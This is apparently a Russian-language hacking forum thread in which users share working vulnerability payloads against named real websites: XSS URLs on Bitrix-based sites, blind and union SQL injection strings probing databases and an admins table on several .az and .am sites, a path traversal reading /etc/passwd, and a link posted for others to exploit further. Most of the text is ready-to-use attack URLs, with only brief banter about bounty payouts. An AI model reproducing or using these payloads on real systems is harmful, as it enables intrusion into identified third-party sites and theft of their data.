Уязвимости SQLi, XSS и другие.

Code:

https://honda.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
https://dixy.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//

 

Это по сути песочница. Один пейлоад стрелял сразу в нескольких местах:
на ифраме-толока.ком и на sandbox.ифраме-толока.ком. Но там тоже ни кук, ни импэкта))
Но было ещё и третье место, откуда он постреливал.
И вот только вчера прилетело письмецо в конверте.

 

А моя доля? На шаверму

 

Шта?
Я её намного раньше тебя запостил! я ж писал тебе tracking ID и time 1619951822533
Ни гани!

 

SQLi

Spoiler: link

https://www.goal.az/livescore/tourn...oin (select 6)f join (select 7)g /news/45011/

 

del

 

digging blind sqli
*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'a%') AND '9'='9
*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'b%') AND '9'='9
...
*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'n%') AND '9'='9


*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) BETWEEN 0 AND 2) AND '9'='9
*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) BETWEEN 0 AND 333) AND '9'='9

 

Пришел мне лог на xsshunter с непонятного сайта, такой вот сайт который парсит но не обрабатывает вывод )
https://www.social-searcher.com/social-buzz/?q5=alert(document.cookie)

 

Spoiler: sqli

https://rezume.am/?filter_id[0]=5 a...ting_admins limit 1 offset 0*/))),false))--+-

 

Spoiler: Path Traversal

http://www.eia.am/Admin-Panel/?tpl=../../../../../../../../../etc/passwd&viewAjax=1

 

XSS в библиотеке Sortable работает только в IE

Code:

https://varaa.com/packages/sortable/??"><img/src/onerror=alert(document.domain)>

 

https://forms.yandex.ru/surveys/100...akey=e701f2535bb72829c31d6ecfb25b5140fcf67140

Может кто раскрутит. Good luck!